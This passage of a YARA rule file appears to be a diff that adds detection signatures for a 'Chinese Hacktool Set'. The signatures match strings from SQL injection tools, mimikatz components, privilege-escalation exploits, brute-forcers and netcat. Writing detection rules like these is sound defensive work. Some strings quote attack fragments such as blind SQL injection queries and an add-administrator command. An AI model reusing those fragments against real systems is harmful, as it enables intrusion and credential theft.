+		$s1 = "Email: blacksplitn@gmail.com" fullword wide
+		$s2 = "User-Agent:" fullword wide
+		$s3 = "Send Failed.in RemoteThread" fullword ascii
+		$s4 = "www.example.com" fullword wide
+		$s5 = "Get Domain:%s IP Failed." fullword ascii
+		$s6 = "Connect To Server Failed." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 7992KB and 5 of them
+}
+
+rule Guilin_veterans_cookie_spoofing_tool {
+	meta:
+		description = "Chinese Hacktool Set - file Guilin veterans cookie spoofing tool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "06b1969bc35b2ee8d66f7ce8a2120d3016a00bb1"
+	strings:
+		$s0 = "kernel32.dll^G" fullword ascii
+		$s1 = "\\.Sus\"B" fullword ascii
+		$s4 = "u56Load3" fullword ascii
+		$s11 = "O MYTMP(iM) VALUES (" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1387KB and all of them
+}
+
+rule MarathonTool {
+	meta:
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "084a27cd3404554cc799d0e689f65880e10b59e3"
+	strings:
+		$s0 = "MarathonTool" ascii
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+		$s18 = "SELECT UNICODE(SUBSTRING((system_user),{0},1))" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1040KB and all of them
+}
+
+rule PLUGIN_TracKid {
+	meta:
+		description = "Chinese Hacktool Set - file TracKid.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a114181b334e850d4b33e9be2794f5bb0eb59a09"
+	strings:
+		$s0 = "E-mail: cracker_prince@163.com" fullword ascii
+		$s1 = ".\\TracKid Log\\%s.txt" fullword ascii
+		$s2 = "Coded by prince" fullword ascii
+		$s3 = "TracKid.dll" fullword ascii
+		$s4 = ".\\TracKid Log" fullword ascii
+		$s5 = "%08x -- %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 3 of them
+}
+
+rule Pc_pc2015 {
+	meta:
+		description = "Chinese Hacktool Set - file pc2015.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "de4f098611ac9eece91b079050b2d0b23afe0bcb"
+	strings:
+		$s0 = "\\svchost.exe" fullword ascii
+		$s1 = "LON\\OD\\O-\\O)\\O%\\O!\\O=\\O9\\O5\\O1\\O" fullword ascii
+		$s8 = "%s%08x.001" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 309KB and all of them
+}
+
+rule sekurlsa {
+	meta:
+		description = "Chinese Hacktool Set - file sekurlsa.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "Format d'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur" wide
+		$s3 = "SECURITY\\Policy\\Secrets" fullword wide
+		$s4 = "Injection de donn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1150KB and all of them
+}
+
+rule mysqlfast {
+	meta:
+		description = "Chinese Hacktool Set - file mysqlfast.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "32b60350390fe7024af7b4b8fbf50f13306c546f"
+	strings:
+		$s2 = "Invalid password hash: %s" fullword ascii
+		$s3 = "-= MySql Hash Cracker =- " fullword ascii
+		$s4 = "Usage: %s hash" fullword ascii
+		$s5 = "Hash: %08lx%08lx" fullword ascii
+		$s6 = "Found pass: " fullword ascii
+		$s7 = "Pass not found" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and 4 of them
+}
+
+rule DTools2_02_DTools {
+	meta:
+		description = "Chinese Hacktool Set - file DTools.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9f99771427120d09ec7afa3b21a1cb9ed720af12"
+	strings:
+		$s0 = "kernel32.dll" ascii
+		$s1 = "TSETPASSWORDFORM" fullword wide
+		$s2 = "TGETNTUSERNAMEFORM" fullword wide
+		$s3 = "TPORTFORM" fullword wide
+		$s4 = "ShellFold" fullword ascii
+		$s5 = "DefaultPHotLigh" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule dll_PacketX {
+	meta:
+		description = "Chinese Hacktool Set - file PacketX.dll - ActiveX wrapper for WinPcap packet capture library"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		score = 50
+		hash = "3f0908e0a38512d2a4fb05a824aa0f6cf3ba3b71"
+	strings:
+		$s9 = "[Failed to load winpcap packet.dll." wide
+		$s10 = "PacketX Version" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1920KB and all of them
+}
+
+rule SqlDbx_zhs {
+	meta:
+		description = "Chinese Hacktool Set - file SqlDbx_zhs.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e34228345498a48d7f529dbdffcd919da2dea414"
+	strings:
+		$s0 = "S.failed_logins \"Failed Login Attempts\", " fullword ascii
+		$s7 = "SELECT ROLE, PASSWORD_REQUIRED FROM SYS.DBA_ROLES ORDER BY ROLE" fullword ascii
+		$s8 = "SELECT spid 'SPID', status 'Status', db_name (dbid) 'Database', loginame 'Login'" ascii
+		$s9 = "bcp.exe <:schema:>.<:table:> out \"<:file:>\" -n -S <:server:> -U <:user:> -P <:" ascii
+		$s11 = "L.login_policy_name AS \"Login Policy\", " fullword ascii
+		$s12 = "mailto:support@sqldbx.com" fullword ascii
+		$s15 = "S.last_login_time \"Last Login\", " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and 4 of them
+}
+
+rule digest_edir_auth {
+	meta:
+		description = "Chinese Hacktool Set - file digest_edir_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1dc349c91d890e3a1b897c2e8bb0ee1beeb34bd5"
+	strings:
+		$s0 = "Error reading Universal Password: %d = %s" fullword ascii
+		$s1 = "read password for binddn from file secretfile" fullword ascii
+		$s4 = "user search filter pattern. %%s = login" fullword ascii
+		$s5 = "-D binddn -w bindpasswd or -D binddn -W secretfile options" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule ms10048_x86 {
+	meta:
+		description = "Chinese Hacktool Set - file ms10048-x86.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+	strings:
+		$s1 = "[ ] Resolving PsLookupProcessByProcessId" fullword ascii
+		$s2 = "The target is most likely patched." fullword ascii
+		$s3 = "Dojibiron by Ronald Huizer, (c) master@h4cker.us ." fullword ascii
+		$s4 = "[ ] Creating evil window" fullword ascii
+		$s5 = "%sHANDLEF_INDESTROY" fullword ascii
+		$s6 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of them
+}
+
+rule Dos_ch {
+	meta:
+		description = "Chinese Hacktool Set - file ch.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "60bbb87b08af840f21536b313a76646e7c1f0ea7"
+	strings:
+		$s0 = "/Churraskito/-->Usage: Churraskito.exe \"command\" " fullword ascii
+		$s4 = "fuck,can't find WMI process PID." fullword ascii
+		$s5 = "/Churraskito/-->Found token %s " fullword ascii
+		$s8 = "wmiprvse.exe" fullword ascii
+		$s10 = "SELECT * FROM IIsWebInfo" fullword ascii
+		$s17 = "WinSta0\\Default" fullword ascii  /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and 3 of them
+}
+
+rule DUBrute_DUBrute {
+	meta:
+		description = "Chinese Hacktool Set - file DUBrute.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8aaae91791bf782c92b97c6e1b0f78fb2a9f3e65"
+	strings:
+		$s1 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
+		$s2 = "IP - 0; Login - 0; Password - 0; Combination - 0" fullword ascii
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii
+		$s4 = "UBrute.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1020KB and all of them
+}
+
+rule CookieTools {
+	meta:
+		description = "Chinese Hacktool Set - file CookieTools.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b6a3727fe3d214f4fb03aa43fb2bc6fadc42c8be"
+	strings:
+		$s0 = "http://210.73.64.88/doorway/cgi-bin/getclientip.asp?IP=" fullword ascii
+		$s2 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s3 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s8 = "OnGetPasswordP" fullword ascii
+		$s12 = "http://www.chinesehack.org/" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 2 of them
+}
+
+rule update_PcInit {
+	meta:
+		description = "Chinese Hacktool Set - file PcInit.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a6facc4453f8cd81b8c18b3b3004fa4d8e2f5344"
+	strings:
+		$s1 = "\\svchost.exe" fullword ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Global\\ps%08x" fullword ascii
+		$s4 = "drivers\\" fullword ascii /* Goodware String - occured 2 times */
+		$s5 = "StrStrA" fullword ascii /* Goodware String - occured 43 times */
+		$s6 = "StrToIntA" fullword ascii /* Goodware String - occured 44 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule dat_NaslLib {
+	meta:
+		description = "Chinese Hacktool Set - file NaslLib.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "fb0d4263118faaeed2d68e12fab24c59953e862d"
+	strings:
+		$s1 = "nessus_get_socket_from_connection: fd <%d> is closed" fullword ascii
+		$s2 = "[*] \"%s\" completed, %d/%d/%d/%d:%d:%d - %d/%d/%d/%d:%d:%d" fullword ascii
+		$s3 = "A FsSniffer backdoor seems to be running on this port%s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1360KB and all of them
+}
+
+rule Dos_1 {
+	meta:
+		description = "Chinese Hacktool Set - file 1.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b554f0687a12ec3a137f321cc15e052ff219f28c"
+	strings:
+		$s1 = "/churrasco/-->Usage: Churrasco.exe \"command to run\"" fullword ascii
+		$s2 = "/churrasco/-->Done, command should have ran as SYSTEM!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule OtherTools_servu {
+	meta:
+		description = "Chinese Hacktool Set - file svu.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5c64e6879a9746a0d65226706e0edc7a"
+	strings:
+		$s0 = "MZKERNEL32.DLL" fullword ascii
+		$s1 = "UpackByDwing@" fullword ascii
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "WriteFile" fullword ascii
+	condition:
+		$s0 at 0 and filesize < 50KB and all of them
+}
+
+rule ncsa_auth {
+	meta:
+		description = "Chinese Hacktool Set - file ncsa_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d87c984107adc3921720f4c76608dc6ed68b2d84"
+	strings:
+		$s0 = "Usage: ncsa_auth <passwordfile>" fullword ascii
+		$s1 = "ERR Wrong password" fullword ascii
+		$s2 = "ERR No such user" fullword ascii
+		$s6 = "ncsa_auth: cannot create hash table" fullword ascii
+		$s20 = "(%d) %s" fullword ascii /* Goodware String - occured 11 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 440KB and all of them
+}
+
+rule ustrrefadd {
+	meta:
+		description = "Chinese Hacktool Set - file ustrrefadd.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b371b122460951e74094f3db3016264c9c8a0cfa"
+	strings:
+		$s0 = "E-Mail  : admin@luocong.com" fullword ascii
+		$s1 = "Homepage: http://www.luocong.com" fullword ascii
+		$s2 = ": %d  -  " fullword ascii
+		$s3 = "ustrreffix.dll" fullword ascii
+		$s5 = "Ultra String Reference plugin v%d.%02d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 320KB and all of them
+}
+
+rule XScanLib {
+	meta:
+		description = "Chinese Hacktool Set - file XScanLib.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+	strings:
+		$s4 = "XScanLib.dll" fullword ascii
+		$s6 = "Ports/%s/%d" fullword ascii
+		$s8 = "DEFAULT-TCP-PORT" fullword ascii
+		$s9 = "PlugCheckTcpPort" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 360KB and all of them
+}
+
+rule IDTools_For_WinXP_IdtTool {
+	meta:
+		description = "Chinese Hacktool Set - file IdtTool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ebab6e4cb7ea82c8dc1fe4154e040e241f4672c6"
+	strings:
+		$s2 = "IdtTool.sys" fullword ascii
+		$s4 = "Idt Tool bY tMd[CsP]" fullword wide
+		$s6 = "\\\\.\\slIdtTool" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule GoodToolset_ms11046 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11046.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+	strings:
+		$s1 = "[*] Token system command" fullword ascii
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii
+		$s3 = "[*] Add to Administrators success" fullword ascii
+		$s4 = "[*] User has been successfully added" fullword ascii
+		$s5 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii  /* Goodware String - occured 3 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 840KB and 2 of them
+}
+
+rule Cmdshell32 {
+	meta:
+		description = "Chinese Hacktool Set - file Cmdshell32.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3c41116d20e06dcb179e7346901c1c11cd81c596"
+	strings:
+		$s1 = "cmdshell.exe" fullword wide
+		$s2 = "cmdshell" fullword ascii
+		$s3 = "[Root@CmdShell ~]#" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 62KB and all of them
+}
+
+rule Sniffer_analyzer_SSClone_1210_full_version {
+	meta:
+		description = "Chinese Hacktool Set - file Sniffer analyzer SSClone 1210 full version.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6882125babb60bd0a7b2f1943a40b965b7a03d4e"
+	strings:
+		$s0 = "http://www.vip80000.com/hot/index.html" fullword ascii
+		$s1 = "GetConnectString" fullword ascii
+		$s2 = "CnCerT.Safe.SSClone.dll" fullword ascii
+		$s3 = "(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3580KB and all of them
+}
+
+rule x64_klock {
+	meta:
+		description = "Chinese Hacktool Set - file klock.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "klock.dll" fullword ascii
+		$s3 = "Erreur : le bureau courant (" fullword wide
+		$s4 = "klock de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 907KB and all of them
+}
+
+rule Dos_Down32 {
+	meta:
+		description = "Chinese Hacktool Set - file Down32.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0365738acd728021b0ea2967c867f1014fd7dd75"
+	strings:
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s6 = "down.exe" fullword wide
+		$s15 = "get_Form1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 137KB and all of them
+}
+
+rule MarathonTool_2 {
+	meta:
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "75b5d25cdaa6a035981e5a33198fef0117c27c9c"
+	strings:
+		$s3 = "http://localhost/retomysql/pista.aspx?id_pista=1" fullword wide
+		$s6 = "SELECT ASCII(SUBSTR(username,{0},1)) FROM USER_USERS" fullword wide
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule Tools_termsrv {
+	meta:
+		description = "Chinese Hacktool Set - file termsrv.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "294a693d252f8f4c85ad92ee8c618cebd94ef247"
+	strings:
+		$s1 = "Iv\\SmSsWinStationApiPort" fullword ascii
+		$s2 = " TSInternetUser " fullword wide
+		$s3 = "KvInterlockedCompareExchange" fullword ascii
+		$s4 = " WINS/DNS " fullword wide
+		$s5 = "winerror=%1" fullword wide
+		$s6 = "TermService " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1150KB and all of them
+}
+
+rule scanms_scanms {
+	meta:
+		description = "Chinese Hacktool Set - file scanms.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "47787dee6ddea2cb44ff27b6a5fd729273cea51a"
+	strings:
+		$s1 = "--- ScanMs Tool --- (c) 2003 Internet Security Systems ---" fullword ascii
+		$s2 = "Scans for systems vulnerable to MS03-026 vuln" fullword ascii
+		$s3 = "More accurate for WinXP/Win2k, less accurate for WinNT" fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "added %d.%d.%d.%d-%d.%d.%d.%d" fullword ascii
+		$s5 = "Internet Explorer 1.0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 3 of them
+}
+
+rule CN_Tools_PcShare {
+	meta:
+		description = "Chinese Hacktool Set - file PcShare.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ee7ba9784fae413d644cdf5a093bd93b73537652"
+	strings:
+		$s0 = "title=%s%s-%s;id=%s;hwnd=%d;mainhwnd=%d;mainprocess=%d;cmd=%d;" fullword wide
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
+		$s2 = "http://www.pcshares.cn/pcshare200/lostpass.asp" fullword wide
+		$s5 = "port=%s;name=%s;pass=%s;" fullword wide
+		$s16 = "%s\\ini\\*.dat" fullword wide
+		$s17 = "pcinit.exe" fullword wide
+		$s18 = "http://www.pcshare.cn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6000KB and 3 of them
+}
+
+rule pw_inspector {
+	meta:
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4f8e3e101098fc3da65ed06117b3cb73c0a66215"
+	strings:
+		$s1 = "-m MINLEN  minimum length of a valid password" fullword ascii
+		$s2 = "http://www.thc.org" fullword ascii
+		$s3 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 460KB and all of them
+}
+
+rule Dll_LoadEx {
+	meta:
+		description = "Chinese Hacktool Set - file Dll_LoadEx.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "213d9d0afb22fe723ff570cf69ff8cdb33ada150"
+	strings:
+		$s0 = "WiNrOOt@126.com" fullword wide
+		$s1 = "Dll_LoadEx.EXE" fullword wide
+		$s3 = "You Already Loaded This DLL ! :(" fullword ascii
+		$s10 = "Dll_LoadEx Microsoft " fullword wide
+		$s17 = "Can't Load This Dll ! :(" fullword ascii
+		$s18 = "WiNrOOt" fullword wide
+		$s20 = " Dll_LoadEx(&A)..." fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and 3 of them
+}
+
+rule dat_report {
+	meta:
+		description = "Chinese Hacktool Set - file report.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4582a7c1d499bb96dad8e9b227e9d5de9becdfc2"
+	strings:
+		$s1 = "<a href=\"http://www.xfocus.net\">X-Scan</a>" fullword ascii
+		$s2 = "REPORT-ANALYSIS-OF-HOST" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 480KB and all of them
+}
+
+rule Dos_iis7 {
+	meta:
+		description = "Chinese Hacktool Set - file iis7.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+	strings:
+		$s0 = "\\\\localhost" fullword ascii
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii
+		$s5 = "WHOAMI" ascii
+		$s13 = "WinSta0\\Default" fullword ascii  /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule SwitchSniffer {
+	meta:
+		description = "Chinese Hacktool Set - file SwitchSniffer.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1e7507162154f67dff4417f1f5d18b4ade5cf0cd"
+	strings:
+		$s0 = "NextSecurity.NET" fullword wide
+		$s2 = "SwitchSniffer Setup" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+rule dbexpora {
+	meta:
+		description = "Chinese Hacktool Set - file dbexpora.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b55b007ef091b2f33f7042814614564625a8c79f"
+	strings:
+		$s0 = "SELECT A.USER FROM SYS.USER_USERS A " fullword ascii
+		$s12 = "OCI 8 - OCIDescriptorFree" fullword ascii
+		$s13 = "ORACommand *" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 835KB and all of them
+}
+
+rule SQLCracker {
+	meta:
+		description = "Chinese Hacktool Set - file SQLCracker.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1aa5755da1a9b050c4c49fc5c58fa133b8380410"
+	strings:
+		$s0 = "msvbvm60.dll" fullword ascii /* reversed goodware string 'lld.06mvbvsm' */
+		$s1 = "_CIcos" fullword ascii
+		$s2 = "kernel32.dll" fullword ascii
+		$s3 = "cKmhV" fullword ascii
+		$s4 = "080404B0" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 125KB and all of them
+}
+
+rule FreeVersion_debug {
+	meta:
+		description = "Chinese Hacktool Set - file debug.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+	strings:
+		$s0 = "c:\\Documents and Settings\\Administrator\\" fullword ascii
+		$s1 = "Got WMI process Pid: %d" ascii
+		$s2 = "This exploit will execute" ascii
+		$s6 = "Found token %s " ascii
+		$s7 = "Running reverse shell" ascii
+		$s10 = "wmiprvse.exe" fullword ascii
+		$s12 = "SELECT * FROM IIsWebInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 820KB and 3 of them
+}
+
+rule Dos_look {
+	meta:
+		description = "Chinese Hacktool Set - file look.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e1a37f31170e812185cf00a838835ee59b8f64ba"
+	strings:
+		$s1 = "<description>CHKen QQ:41901298</description>" fullword ascii
+		$s2 = "version=\"9.9.9.9\"" fullword ascii
+		$s3 = "name=\"CH.Ken.Tool\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule NtGodMode {
+	meta:
+		description = "Chinese Hacktool Set - file NtGodMode.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8baac735e37523d28fdb6e736d03c67274f7db77"
+	strings:
+		$s0 = "to HOST!" fullword ascii
+		$s1 = "SS.EXE" fullword ascii
+		$s5 = "lstrlen0" fullword ascii
+		$s6 = "Virtual" fullword ascii  /* Goodware String - occured 6 times */
+		$s19 = "RtlUnw" fullword ascii /* Goodware String - occured 1 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and all of them
+}
+
+rule Dos_NC {
+	meta:
+		description = "Chinese Hacktool Set - file NC.EXE"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "57f0839433234285cc9df96198a6ca58248a4707"
+	strings:
+		$s1 = "nc -l -p port [options] [hostname] [port]" fullword ascii
+		$s2 = "invalid connection to [%s] from %s [%s] %d" fullword ascii
+		$s3 = "post-rcv getsockname failed" fullword ascii
+		$s4 = "Failed to execute shell, error = %s" fullword ascii
+		$s5 = "UDP listen needs -p arg" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 290KB and all of them
+}
+
+rule WebCrack4_RouterPasswordCracking {
+	meta:
+		description = "Chinese Hacktool Set - file WebCrack4-RouterPasswordCracking.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "00c68d1b1aa655dfd5bb693c13cdda9dbd34c638"
+	strings:
+		$s0 = "http://www.site.com/test.dll?user=%USERNAME&pass=%PASSWORD" fullword ascii
+		$s1 = "Username: \"%s\", Password: \"%s\", Remarks: \"%s\"" fullword ascii
+		$s14 = "user:\"%s\" pass: \"%s\" result=\"%s\"" fullword ascii
+		$s16 = "Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)" fullword ascii
+		$s20 = "List count out of bounds (%d)+Operation not allowed on sorted string list%String" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 2 of them
+}
+
+rule HScan_v1_20_oncrpc {
+	meta:
+		description = "Chinese Hacktool Set - file oncrpc.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e8f047eed8d4f6d2f5dbaffdd0e6e4a09c5298a2"
+	strings:
+		$s1 = "clnt_raw.c - Fatal header serialization error." fullword ascii
+		$s2 = "svctcp_.c - cannot getsockname or listen" fullword ascii
+		$s3 = "too many connections (%d), compilation constant FD_SETSIZE was only %d" fullword ascii
+		$s4 = "svc_run: - select failed" fullword ascii
+		$s5 = "@(#)bindresvport.c" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 340KB and 4 of them
+}
+
+rule hscan_gui {
+	meta:
+		description = "Chinese Hacktool Set - file hscan-gui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1885f0b7be87f51c304b39bc04b9423539825c69"
+	strings:
+		$s0 = "Hscan.EXE" fullword wide
+		$s1 = "RestTool.EXE" fullword ascii
+		$s3 = "Hscan Application " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule S_MultiFunction_Scanners_s {
+	meta:
+		description = "Chinese Hacktool Set - file s.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "79b60ffa1c0f73b3c47e72118e0f600fcd86b355"
+	strings:
+		$s0 = "C:\\WINDOWS\\temp\\pojie.exe /l=" fullword ascii
+		$s1 = "C:\\WINDOWS\\temp\\s.exe" fullword ascii
+		$s2 = "C:\\WINDOWS\\temp\\s.exe tcp " fullword ascii
+		$s3 = "explorer.exe http://www.hackdos.com" fullword ascii
+		$s4 = "C:\\WINDOWS\\temp\\pojie.exe" fullword ascii
+		$s5 = "Failed to read file or invalid data in file!" fullword ascii
+		$s6 = "www.hackdos.com" fullword ascii
+		$s7 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
+		$s11 = "The interface of kernel library is invalid!" fullword ascii
+		$s12 = "eventvwr" fullword ascii
+		$s13 = "Failed to decompress data!" fullword ascii
+		$s14 = "NOTEPAD.EXE result.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8000KB and 4 of them
+}
+
+rule mswin_ntlm_auth {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_ntlm_auth.exe"
+		author = "Florian Roth"
